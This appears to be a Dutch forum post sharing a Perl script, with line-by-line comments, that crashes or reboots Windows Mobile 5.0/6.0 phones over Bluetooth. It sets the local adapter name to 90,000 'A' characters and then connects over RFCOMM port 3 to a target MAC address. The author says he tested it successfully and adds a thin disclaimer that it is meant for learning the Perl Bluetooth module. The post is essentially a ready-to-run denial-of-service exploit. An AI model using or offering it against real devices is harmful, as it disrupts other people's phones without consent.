Hier heb ik een script waarmee je een telefoon die WM5.0/6.0 gebruikt kan laten vastlopen of rebooten via bluetooth. Ik heb hem zelf getest op een WM6.0 telefoon. Dit werkte perfect. De telefoon deed niets meer. Op 6.1 is deze vulnerability er uit.

#!/usr/bin/perl

use Net::Bluetooth; # Gebruik de bluetooth module.

$target=$ARGV[0]; # variable $target wordt het eerste woord dat
# mee wordt gegeven aan het programma.
$hci_dev=$ARGV[1]; # variable $hci_dev wordt het tweede woord dat
# mee wordt gegeven aan het programma.
$overflow="A" x 90000; # variable $overflow wordt gevuld met 90000 A's
$rfcomm_port="3"; # variabele $rfcomm_port wordt 3.

if (@ARGV < 2) # Als er geen 2 parameters mee gegeven worden
# aan het perl script
{
die "Usage:\n ./wm6_dos.pl <target_mac> <hci_device>\n\n";
} # dan geeft hij een foutmelding

system("hciconfig $hci_dev name $overflow"); # veranderd bluetooth naam naar $overflow

$over_conn = Net::Bluetooth->newsocket("RFCOMM"); # maakt nieuwe bluetooth socket
print "socket error $!\n" unless(defined($over_conn)); # bij mislukt print error.
$over_conn->connect($target, $rfcomm_port); # connect naar het MAC adres die is
#opgegeven, op de opgegeven poort.

Dit scriptje post ik niet om misbruik van te laten maken. Maar je kan er van leren hoe je in PERL de bluetooth module gebruikt met het programmeren. Is natuurlijk wel leuk om te weten. Ik heb er zelf beschrijving bij geschreven van wat het script doet op welke stappen.

hopelijk leuke info

groeten libris..